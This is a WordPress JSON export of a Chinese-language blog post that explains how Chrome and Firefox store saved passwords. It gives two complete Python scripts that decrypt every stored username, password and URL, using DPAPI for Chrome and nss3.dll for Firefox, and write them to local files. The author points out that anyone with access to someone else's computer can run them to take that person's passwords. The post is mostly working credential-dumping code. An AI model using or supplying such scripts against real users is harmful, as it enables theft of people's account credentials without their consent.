{"id":527,"date":"2018-08-05T22:41:32","date_gmt":"2018-08-05T14:41:32","guid":{"rendered":"https:\/\/flandre-scarlet.moe\/blog\/?p=527"},"modified":"2019-07-13T19:30:14","modified_gmt":"2019-07-13T11:30:14","slug":"%e8%8e%b7%e5%8f%96-chrome-%e6%b5%8f%e8%a7%88%e5%99%a8%e5%ad%98%e5%82%a8%e5%af%86%e7%a0%81","status":"publish","type":"post","link":"https:\/\/flandre-scarlet.moe\/blog\/527\/","title":{"rendered":"\u83b7\u53d6\u6d4f\u89c8\u5668\u5b58\u50a8\u5bc6\u7801"},"content":{"rendered":"

\u5728\u770b\u4e00\u7bc7\u6728\u9a6c\u7684\u5206\u6790\u65f6\u770b\u5230\u91cc\u9762\u63d0\u5230\u6728\u9a6c\u4f1a\u8bfb\u53d6\u6d4f\u89c8\u5668\u7684\u7528\u6237\u914d\u7f6e\u6587\u4ef6\uff0c\u5e76\u5bf9\u5176\u4e2d\u7684\u5bc6\u7801\u8fdb\u884c\u63d0\u53d6\u548c\u4e0a\u4f20\uff0c\u4e8e\u662f\u5c31\u6709\u4e86\u5174\u8da3\uff0c\u60f3\u770b\u770b\u6d4f\u89c8\u5668\u662f\u600e\u4e48\u5bf9\u5bc6\u7801\u8fdb\u884c\u50a8\u5b58\u7684\u3002<\/p>\n

\u73b0\u5728 chrome \u8981\u67e5\u770b\u6d4f\u89c8\u5668\u4fdd\u5b58\u7684\u5bc6\u7801\u65f6\u9700\u8981\u9996\u5148\u9a8c\u8bc1\u767b\u5f55\u8d26\u6237\u7684\u5bc6\u7801\u4e86\uff0c\u4f46\u8fd9\u6837\u5176\u5b9e\u4fdd\u5b58\u7684\u5bc6\u7801\u8fd8\u662f\u4e0d\u591f\u5b89\u5168\u7684\uff0c\u56e0\u4e3a\u8fd9\u4e2a\u8ba4\u8bc1\u53ef\u4ee5\u76f4\u63a5\u7ed5\u8fc7\u3002\u4e0b\u9762\u6765\u5206\u6790\u4e00\u4e0b chrome \u4fdd\u5b58\u5bc6\u7801\u7684\u65b9\u5f0f\uff0c\u4ee5\u53ca\u5982\u4f55\u5bf9\u4fdd\u5b58\u7684\u5bc6\u7801\u8fdb\u884c\u63d0\u53d6\u3002<\/p>\n

<\/p>\n

\u00b7chrome<\/h1>\n

chrome \u7684\u5bc6\u7801\u50a8\u5b58\u5728\u76ee\u5f55 %localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data \u6587\u4ef6\u4e2d\u3002\u6253\u5f00\u6587\u4ef6\u53ef\u4ee5\u770b\u5230\u5927\u5927\u7684\u201cSQLite format 3\u201d\u55ef\u3002\u3002\u3002\u6587\u4ef6\u770b\u6765\u662f\u6ca1\u6709\u52a0\u5bc6\u7684\u3002\"\u4ee3\u7801\"<\/p>\n

\u7136\u540e\u770b\u4e00\u4e0b\u5173\u952e\u7684\u5bc6\u7801\uff0c\u56e0\u4e3a chromium \u662f\u5f00\u6e90\u7684\uff0c\u6240\u4ee5\u5148\u53bb\u4ee3\u7801\u91cc\u7ffb\u7ffb\u770b\uff0c\u53ef\u4ee5\u627e\u5230\u4f7f\u7528\u7684\u52a0\u5bc6\u7b97\u6cd5\uff0c\u5728 components\\os_crypt\\os_crypt_win.cc \u4e2d\u53ef\u4ee5\u770b\u5230\uff0cEncryptString16 \/ DecryptString16 \u5206\u522b\u4f7f\u7528\u7684\u662f WIN32 API CryptProtectData<\/a> \u548c CryptUnprotectData<\/a>\u3002<\/p>\n

\u800c\u8fd9\u5bf9 API \u4f7f\u7528\u7528\u6237\u7684\u767b\u5f55\u51ed\u636e\u4f5c\u4e3a\u5bc6\u94a5\u6765\u52a0\u5bc6\u6570\u636e\uff0c\u4e5f\u5c31\u662f\u8bf4\u6bd4\u5982\u5728 Windows \u4e0a\u53ea\u6709\u540c\u4e00\u4e2a\u7528\u6237\u624d\u80fd\u89e3\u5f00\u8fd9\u4e9b\u5df2\u52a0\u5bc6\u7684\u6570\u636e\uff0c\u6240\u4ee5\u4f7f\u7528\u522b\u7684\u8d26\u6237\u767b\u5f55\u6216\u662f\u5c06\u6587\u4ef6\u590d\u5236\u5230\u522b\u7684\u7535\u8111\u4e0a\u518d\u8fdb\u884c\u89e3\u5bc6\u90fd\u662f\u4e0d\u884c\u7684\u3002<\/p>\n

\u5230\u8fd9\u91cc\u5c31\u53ef\u4ee5\u53d1\u73b0\uff1a\u53ea\u8981\u7528\u6237\u5df2\u7ecf\u767b\u5f55\uff0c\u90a3\u4e48\u65e0\u9700\u989d\u5916\u7684\u5bc6\u7801\u5c31\u53ef\u76f4\u63a5\u83b7\u5f97\u6d4f\u89c8\u5668\u5b58\u50a8\u7684\u5bc6\u7801\uff0c\u53ea\u9700\u8dd1\u4e00\u6bb5\u4ee3\u7801\u5373\u53ef\u3002\u3002\u3002\u90a3\u4e48\u4e0d\u8bf4\u6728\u9a6c\u8fd9\u4e9b\u4e86\uff0c\u5982\u679c\u4f60\u80fd\u63a5\u89e6\u5230\u4ed6\u4eba\u7684\u7535\u8111\uff0c\u53ea\u8981\u76f4\u63a5\u8fd0\u884c\u4e00\u4e0b\u7a0b\u5e8f\u5c31\u80fd\u83b7\u53d6\u4ed6\u7684\u8fd9\u4e9b\u5bc6\u7801\u3002<\/p>\n

\u6240\u4ee5\u4e0b\u9762\u5c31\u6765\u5c55\u793a\u4e00\u4e0b\u8fd9\u6837\u7684\u4ee3\u7801\u5427w
\n\u6d41\u7a0b\u5f88\u7b80\u5355\uff1a\u53ea\u8981\u4ece\u6587\u4ef6\u4e2d\u67e5\u627e\u4e2d\u6240\u6709\u7684\u8bb0\u5f55\uff0c\u7136\u540e\u5c06\u5bc6\u7801\u5b57\u6bb5\u91cc\u7684\u6570\u636e\u9010\u4e2a\u89e3\u5bc6\u4fdd\u5b58\u5c31\u597d\u4e86\u3002\u53e6\u5916\u56e0\u4e3a chrome \u8fd0\u884c\u65f6\u4f1a\u9501\u5b9a\u8be5\u6587\u4ef6\uff0c\u6240\u4ee5\u8fd0\u884c\u4e0b\u9762\u7684\u4ee3\u7801\u524d\u9700\u8981\u9000\u51fa chrome\u3002\u83b7\u53d6\u5230\u7528\u6237\u540d\u548c\u5bc6\u7801\u4e3a\u7a7a\u7684\u5b57\u6bb5\u8bf4\u660e\u8be5\u7f51\u7ad9\u88ab\u8bbe\u7f6e\u4e3a\u201c\u4e00\u5f8b\u4e0d\u4fdd\u5b58\u201d\u3002\u6839\u636e\u6d4f\u89c8\u5668\u6700\u521d\u4f7f\u7528\u7684\u4e0d\u540c\uff0c\u7528\u6237\u6570\u636e\u6240\u5728\u76ee\u5f55\u53ef\u80fd\u4e0d\u662f\u201cDefault\u201d\uff0c\u8fd9\u79cd\u60c5\u51b5\u628a\u53d8\u91cf\u201cchrome_path\u201d\u66f4\u65b0\u4e0b\u5c31\u884c\u3002
\n\u76f4\u63a5\u4e0a\u4ee3\u7801\uff1a<\/p>\n

\r\n# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport win32crypt\r\nimport sqlite3\r\n\r\nSaveFileName = r"pwd.txt"\r\n\r\ndef Extract():\r\n    chrome_path = r"Google\\Chrome\\User Data\\Default\\Login Data"\r\n    file_path = os.path.join(os.environ['LOCALAPPDATA'], chrome_path)\r\n    if not os.path.exists(file_path):\r\n        return\r\n\r\n    conn = sqlite3.connect(file_path)\r\n    cursor = conn.cursor()\r\n    cursor.execute("select username_value, password_value, signon_realm from logins")\r\n\r\n    with open(SaveFileName, 'wb') as o:\r\n        for data in cursor.fetchall():\r\n            password = win32crypt.CryptUnprotectData(data[1], None, None, None, 0)\r\n            o.write("UserName\uff1a" + data[0].encode("utf8"))\r\n            o.write("\\nPassword\uff1a" + password[1])\r\n            o.write("\\nURL\uff1a" + data[2].encode("utf8"))\r\n            o.write("\\n*****************\\n")\r\n\r\nif __name__ == "__main__":\r\n    Extract()\r\n<\/pre>\n<\/p>\n
\u00b7Firefox<\/h1>\n
\u706b\u72d0\u7684\u5bc6\u7801\u4e5f\u662f\u4fdd\u5b58\u5728\u7528\u6237\u7684\u4e2a\u4eba\u914d\u7f6e\u4e2d\uff0c\u5206\u4e3a\u4e00\u4e2a\u4fdd\u5b58\u5bc6\u94a5\u7684 key4.db SQLite\u6570\u636e\u5e93\u548c\u52a0\u5bc6\u6570\u636e\u7684 logins.json\uff0c\u4e24\u8005\u5747\u5b58\u653e\u5728 %AppData%\\Mozilla\\Firefox\\Profiles \u4e0b\u7684\u5b50\u76ee\u5f55\u4e2d\u3002\u5176\u52a0\u5bc6\u65b9\u5f0f\u662f\u901a\u8fc7 nss3.dll \u6a21\u5757\u8fdb\u884c\u7684\uff0c\u7b97\u6cd5\u7528\u7684\u662f 3DES(CBC)\u3002\u53e6\u5916\u706b\u72d0\u6709\u4e3b\u5bc6\u7801\uff0c\u8be5\u5bc6\u7801\u5e76\u672a\u4fdd\u5b58\u5728\u4efb\u4f55\u5730\u65b9\uff0c\u6240\u4ee5\u5982\u679c\u7528\u6237\u8bbe\u7f6e\u4e86\u4e3b\u5bc6\u7801\uff0c\u90a3\u4e48\u89e3\u5bc6\u65f6\u4e5f\u9700\u8981\u63d0\u4f9b\u8be5\u5bc6\u7801\u624d\u80fd\u89e3\u5bc6\uff0c\u8fd9\u6bd4\u8d77 chrome \u6765\u8981\u5b89\u5168\u4e0d\u5c11\u3002<\/p>\n
\u89e3\u5bc6\u7684\u8bdd\u53ef\u4ee5\u8c03\u7528 nss3.dll \u7684\u63a5\u53e3\u8fdb\u884c\uff0c\u63d0\u53d6\u7ed3\u679c\u4fdd\u5b58\u5230 %UserProfile%\\output.txt \u4e2d\uff08OutputFilePath\u53d8\u91cf\uff09\u3002\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n
\r\n# -*- coding: utf-8 -*-\r\n\r\nimport base64\r\nimport configparser\r\nimport ctypes\r\nimport json\r\nimport os\r\n\r\n\r\nSEC_SUCCESS = 0\r\nSEC_FAILURE = -1\r\n\r\n\r\nNssDll = None\r\nProfilePath = ''\r\nJsonConfigPath = ''\r\nOutputFilePath = ''\r\n\r\n# \u586b\u5165\u4e3b\u5bc6\u7801\r\nMasterPwd = ''\r\n\r\nclass SECItem(ctypes.Structure):\r\n    _fields_ = [\r\n    ('type', ctypes.c_int),\r\n    ('data', ctypes.c_char_p),\r\n    ('len', ctypes.c_uint),\r\n    ]\r\n\r\n\r\ndef InitNssDll(masterPwd):\r\n    path = ctypes.c_char_p()\r\n    path.value = ProfilePath.encode('utf-8')\r\n    mpwd = ctypes.c_char_p()\r\n    mpwd.value = masterPwd.encode('utf-8')\r\n\r\n    global NssDll\r\n    NssDll = ctypes.CDLL(r"nss3.dll")\r\n\r\n    if NssDll.NSS_Init(path) != SEC_SUCCESS:\r\n        print('NSS_Init failed')\r\n        return False\r\n\r\n    keySlot = NssDll.PK11_GetInternalKeySlot()\r\n    if keySlot == 0:\r\n        print('PK11_GetInternalKeySlot failed')\r\n        return False\r\n\r\n    if NssDll.PK11_CheckUserPassword(ctypes.c_int(keySlot), mpwd) != SEC_SUCCESS:\r\n        print('PK11_CheckUserPassword failed')\r\n        return False\r\n\r\n    if NssDll.PK11_Authenticate(keySlot, 1, 0) != SEC_SUCCESS:\r\n        print('PK11_Authenticate failed')\r\n        return False\r\n\r\n    return True\r\n\r\n\r\ndef LoadJsonPwdData():\r\n    entries = []\r\n    with open(JsonConfigPath, "r") as o:\r\n        js = json.load(o)\r\n        for i in range(len(js['logins'])):\r\n            entries.append({\r\n            'username':js['logins'][i]['encryptedUsername'],\r\n            'pwd':js['logins'][i]['encryptedPassword'],\r\n            'url':js['logins'][i]['hostname']})\r\n        return entries\r\n\r\n\r\ndef Decode(cipher):\r\n    data = base64.b64decode(cipher)\r\n    secItem = SECItem()\r\n\r\n    cipherItem = SECItem()\r\n    cipherItem.type = 0\r\n    cipherItem.data = data\r\n    cipherItem.len = len(data)\r\n    if NssDll.PK11SDR_Decrypt(ctypes.byref(cipherItem), ctypes.byref(secItem), 0) != SEC_SUCCESS:\r\n        print('PK11SDR_Decrypt failed')\r\n        raise\r\n\r\n    result = ctypes.string_at(secItem.data, secItem.len).decode('utf8')\r\n    return result\r\n\r\n\r\ndef DocodeEntry(entry):\r\n    try:\r\n        entry['username'] = Decode(entry['username'])\r\n        entry['pwd'] = Decode(entry['pwd'])\r\n    except:\r\n        print('Error when decode [ ' + entry['url'] + ' ]')\r\n        entry['username'] = '<Error>'\r\n        entry['pwd'] = '<Error>'\r\n\r\n\r\ndef DetermineProfileDirPath():\r\n    iniPath = os.path.join(os.environ['APPDATA'], r'Mozilla\\Firefox\\profiles.ini')\r\n    config = configparser.ConfigParser()\r\n    config.read(iniPath)\r\n    return os.path.join(os.environ['APPDATA'], r'Mozilla\\Firefox', config['Profile0']['Path'])\r\n\r\n\r\ndef main():\r\n    global ProfilePath\r\n    global JsonConfigPath\r\n    global OutputFilePath\r\n    ProfilePath = DetermineProfileDirPath()\r\n    JsonConfigPath = os.path.join(ProfilePath, r'logins.json')\r\n    OutputFilePath = os.path.join(os.environ['USERPROFILE'], r'output.txt')\r\n\r\n    # \u5207\u6362\u5de5\u4f5c\u76ee\u5f55\r\n    os.chdir(os.path.join(os.environ['PROGRAMFILES(X86)'], r'Mozilla Firefox'))\r\n\r\n    if not InitNssDll(MasterPwd):\r\n        return\r\n\r\n    entries = LoadJsonPwdData()\r\n    for i in range(len(entries)):\r\n        DocodeEntry(entries[i])\r\n    with open(OutputFilePath, 'w') as o:\r\n        json.dump(entries, o, indent=1)\r\n\r\n\r\nif __name__ == "__main__":\r\n    main()\r\n\r\n<\/pre>\n
\u8fd9\u4e2a\u662f\u5904\u7406 32 \u4f4d\u7248\u672c\u7684\uff0c\u8981\u5904\u7406 64 \u4f4d\u7248\u672c\u7684\u8bdd\u5b89\u88c5\u76f8\u5e94\u7248\u672c\u7684 python \u5373\u53ef\uff0c\u7136\u540e\u5207\u6362\u7684\u76ee\u6807\u5de5\u4f5c\u76ee\u5f55\u4e5f\u6362\u6389\u5c31\u884c\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u5728\u770b\u4e00\u7bc7\u6728\u9a6c\u7684\u5206\u6790\u65f6\u770b\u5230\u91cc\u9762\u63d0\u5230\u6728\u9a6c\u4f1a\u8bfb\u53d6\u6d4f\u89c8\u5668\u7684\u7528\u6237\u914d\u7f6e\u6587\u4ef6\uff0c\u5e76\u5bf9\u5176\u4e2d\u7684\u5bc6\u7801\u8fdb\u884c\u63d0\u53d6\u548c\u4e0a\u4f20\uff0c\u4e8e\u662f\u5c31\u6709\u4e86\u5174\u8da3\uff0c… <\/p>\n
\u9605\u8bfb\u66f4\u591a<\/i><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[85],"tags":[43,47,45,46,44],"class_list":["post-527","post","type-post","status-publish","format-standard","hentry","category-programs","tag-chrome","tag-decrypt","tag-firefox","tag-mozilla","tag-password"],"_links":{"self":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts\/527","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/comments?post=527"}],"version-history":[{"count":1,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts\/527\/revisions"}],"predecessor-version":[{"id":2171,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts\/527\/revisions\/2171"}],"wp:attachment":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/media?parent=527"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/categories?post=527"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/tags?post=527"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}